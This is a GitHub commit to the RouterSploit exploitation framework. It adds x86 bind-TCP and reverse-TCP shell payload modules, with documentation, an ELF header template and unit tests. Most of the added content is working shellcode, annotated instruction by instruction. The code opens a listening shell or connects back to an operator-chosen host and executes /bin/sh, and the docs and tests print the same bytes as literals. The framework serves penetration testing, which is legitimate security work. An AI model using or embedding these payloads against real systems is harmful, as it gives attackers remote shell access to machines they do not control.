Skip to content

Commit 5eeb6e9

Browse files
authored
Adding bind and reverse shell payloads for x86 architecture (#454)
1 parent 0401a67 commit 5eeb6e9

File tree

10 files changed

+244
-1
lines changed

10 files changed

+244
-1
lines changed
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
## Description
2+
3+
Module generates payload that creates interactive tcp bind shell for X86 architecture.
4+
5+
## Verification Steps
6+
7+
1. Start `./rsf.py`
8+
2. Do: `use payloads/x86/bind_tcp`
9+
3. Do: `set rport 4321`
10+
4. Do: `run`
11+
5. Module generates x86 bind shell tcp payload
12+
13+
## Scenarios
14+
15+
```
16+
rsf > use payloads/x86/bind_tcp
17+
rsf (X86 Bind TCP) > set rport 4321
18+
[+] rport => 4321
19+
rsf (X86 Bind TCP) > run
20+
[*] Running module...
21+
[*] Generating payload
22+
[+] Building payload for python
23+
payload = (
24+
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
25+
"\x5b\x5e\x52\x68\x02\x00\x10\xe1\x6a\x10\x51\x50\x89\xe1\x6a"
26+
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
27+
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
28+
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
29+
"\x0b\xcd\x80"
30+
)
31+
```
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
## Description
2+
3+
Module generates payload that creates interactive tcp reverse shell for X86 architecture.
4+
5+
## Verification Steps
6+
7+
1. Start `./rsf.py`
8+
2. Do: `use payloads/x86/reverse_tcp`
9+
3. Do: `set lhost 192.168.1.4`
10+
4. Do: `set lport 4321`
11+
5. Module generates x86 reverse shell tcp payload
12+
13+
## Scenarios
14+
15+
```
16+
rsf > use payloads/x86/reverse_tcp
17+
rsf (X86 Reverse TCP) > set lhost 192.168.1.4
18+
[+] lhost => 192.168.1.4
19+
rsf (X86 Reverse TCP) > set lport 4321
20+
[+] lport => 4321
21+
rsf (X86 Reverse TCP) > run
22+
[*] Running module...
23+
[*] Generating payload
24+
[+] Building payload for python
25+
payload = (
26+
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
27+
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x04\x68"
28+
"\x02\x00\x10\xe1\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
29+
"\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
30+
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
31+
)
32+
```

routersploit/core/exploit/payloads.py

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -24,13 +24,15 @@
2424
)
2525

2626

27-
architectures = namedtuple("ArchitectureType", ["ARMLE", "MIPSBE", "MIPSLE"])
27+
architectures = namedtuple("ArchitectureType", ["ARMLE", "MIPSBE", "MIPSLE", "X86", "X64"])
2828
payload_handlers = namedtuple("PayloadHandlers", ["BIND_TCP", "REVERSE_TCP"])
2929

3030
Architectures = architectures(
3131
ARMLE="armle",
3232
MIPSBE="mipsbe",
3333
MIPSLE="mipsle",
34+
X86="x86",
35+
X64="x64",
3436
)
3537

3638
PayloadHandlers = payload_handlers(
@@ -63,6 +65,14 @@
6365
b"\x00\x00\x40\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
6466
b"\x00\x10\x00\x00"
6567
),
68+
Architectures.X86: (
69+
b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
70+
b"\x02\x00\x03\x00\x01\x00\x00\x00\x54\x80\x04\x08\x34\x00\x00\x00"
71+
b"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
72+
b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08"
73+
b"\x00\x80\x04\x08\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
74+
b"\x00\x10\x00\x00"
75+
)
6676
}
6777

6878

routersploit/modules/payloads/x86/__init__.py

Whitespace-only changes.
Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
from routersploit.core.exploit import *
2+
from routersploit.core.exploit.payloads import (
3+
ArchitectureSpecificPayload,
4+
Architectures,
5+
BindTCPPayloadMixin,
6+
)
7+
8+
9+
class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
10+
__info__ = {
11+
"name": "X86 Bind TCP",
12+
"description": "Creates interactive tcp bind shell for X86 architecture.",
13+
"authors": (
14+
"Ramon de C Valle", # metasploit module
15+
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
16+
)
17+
}
18+
19+
architecture = Architectures.X86
20+
21+
def generate(self):
22+
bind_port = utils.convert_port(self.rport)
23+
24+
return (
25+
b"\x31\xdb" + # xorl %ebx,%ebx
26+
b"\xf7\xe3" + # mull %ebx
27+
b"\x53" + # pushl %ebx
28+
b"\x43" + # incl %ebx
29+
b"\x53" + # pushl %ebx
30+
b"\x6a\x02" + # pushl $0x02
31+
b"\x89\xe1" + # movl %esp,%ecx
32+
b"\xb0\x66" + # movb $0x66,%al
33+
b"\xcd\x80" + # int $0x80
34+
b"\x5b" + # popl %ebx
35+
b"\x5e" + # popl %esi
36+
b"\x52" + # pushl %edx
37+
b"\x68\x02\x00" + bind_port + # pushl port
38+
b"\x6a\x10" + # pushl $0x10
39+
b"\x51" + # pushl %ecx
40+
b"\x50" + # pushl %eax
41+
b"\x89\xe1" + # movl %esp,%ecx
42+
b"\x6a\x66" + # pushl $0x66
43+
b"\x58" + # popl %eax
44+
b"\xcd\x80" + # int $0x80
45+
b"\x89\x41\x04" + # movl %eax,0x04(%ecx)
46+
b"\xb3\x04" + # movb $0x04,%bl
47+
b"\xb0\x66" + # movb $0x66,%al
48+
b"\xcd\x80" + # int $0x80
49+
b"\x43" + # incl %ebx
50+
b"\xb0\x66" + # movb $0x66,%al
51+
b"\xcd\x80" + # int $0x80
52+
b"\x93" + # xchgl %eax,%ebx
53+
b"\x59" + # popl %ecx
54+
b"\x6a\x3f" + # pushl $0x3f
55+
b"\x58" + # popl %eax
56+
b"\xcd\x80" + # int $0x80
57+
b"\x49" + # decl %ecx
58+
b"\x79\xf8" + # jns <bndsockcode+50>
59+
b"\x68\x2f\x2f\x73\x68" + # pushl $0x68732f2f
60+
b"\x68\x2f\x62\x69\x6e" + # pushl $0x6e69622f
61+
b"\x89\xe3" + # movl %esp,%ebx
62+
b"\x50" + # pushl %eax
63+
b"\x53" + # pushl %ebx
64+
b"\x89\xe1" + # movl %esp,%ecx
65+
b"\xb0\x0b" + # movb $0x0b,%al
66+
b"\xcd\x80" # int $0x80
67+
)
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
from routersploit.core.exploit import *
2+
from routersploit.core.exploit.payloads import (
3+
ArchitectureSpecificPayload,
4+
Architectures,
5+
ReverseTCPPayloadMixin,
6+
)
7+
8+
9+
class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
10+
__info__ = {
11+
"name": "X86 Reverse TCP",
12+
"description": "Creates interactive tcp reverse shell for X86 architecture.",
13+
"authors": (
14+
"Ramon de C Valle", # metasploit module
15+
"joev", # metasploit module
16+
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
17+
)
18+
}
19+
20+
architecture = Architectures.X86
21+
22+
def generate(self):
23+
reverse_ip = utils.convert_ip(self.lhost)
24+
reverse_port = utils.convert_port(self.lport)
25+
26+
return (
27+
b"\x31\xdb" + # xor ebx,ebx
28+
b"\xf7\xe3" + # mul ebx
29+
b"\x53" + # push ebx
30+
b"\x43" + # inc ebx
31+
b"\x53" + # push ebx
32+
b"\x6a\x02" + # push byte +0x2
33+
b"\x89\xe1" + # mov ecx,esp
34+
b"\xb0\x66" + # mov al,0x66 (sys_socketcall)
35+
b"\xcd\x80" + # int 0x80
36+
b"\x93" + # xchg eax,ebx
37+
b"\x59" + # pop ecx
38+
b"\xb0\x3f" + # mov al,0x3f (sys_dup2)
39+
b"\xcd\x80" + # int 0x80
40+
b"\x49" + # dec ecx
41+
b"\x79\xf9" + # jns 0x11
42+
b"\x68" + reverse_ip + # push ip addr
43+
b"\x68\x02\x00" + reverse_port + # push port
44+
b"\x89\xe1" + # mov ecx,esp
45+
b"\xb0\x66" + # mov al,0x66 (sys_socketcall)
46+
b"\x50" + # push eax
47+
b"\x51" + # push ecx
48+
b"\x53" + # push ebx
49+
b"\xb3\x03" + # mov bl,0x3
50+
b"\x89\xe1" + # mov ecx,esp
51+
b"\xcd\x80" + # int 0x80
52+
b"\x52" + # push edx
53+
b"\x68\x6e\x2f\x73\x68" + # push n/sh
54+
b"\x68\x2f\x2f\x62\x69" + # push //bi
55+
b"\x89\xe3" + # mov ebx,esp
56+
b"\x52" + # push edx
57+
b"\x53" + # push ebx
58+
b"\x89\xe1" + # mov ecx,esp
59+
b"\xb0\x0b" + # mov al,0xb (execve)
60+
b"\xcd\x80" # int 0x80
61+
)

tests/payloads/__init__.py

Whitespace-only changes.

tests/payloads/x86/__init__.py

Whitespace-only changes.
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
from routersploit.modules.payloads.x86.bind_tcp import Exploit
2+
3+
4+
# bind tcp payload with rport=4321
5+
bind_tcp = (
6+
b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
7+
b"\x5b\x5e\x52\x68\x02\x00\x10\xe1\x6a\x10\x51\x50\x89\xe1\x6a"
8+
b"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
9+
b"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
10+
b"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
11+
b"\x0b\xcd\x80"
12+
)
13+
14+
15+
def test_payload_generation():
16+
""" Test scenario - payload generation """
17+
18+
payload = Exploit()
19+
payload.rport = 4321
20+
21+
assert payload.generate() == bind_tcp
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
from routersploit.modules.payloads.x86.reverse_tcp import Exploit
2+
3+
4+
# reverse tcp with lhost=192.168.1.4 lport=4321
5+
reverse_tcp = (
6+
b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
7+
b"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x04\x68"
8+
b"\x02\x00\x10\xe1\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
9+
b"\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
10+
b"\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
11+
)
12+
13+
14+
def test_payload_generation():
15+
""" Test scenario - payload generation """
16+
17+
payload = Exploit()
18+
payload.lhost = "192.168.1.4"
19+
payload.lport = 4321
20+
21+
assert payload.generate() == reverse_tcp

0 commit comments

Comments
 (0)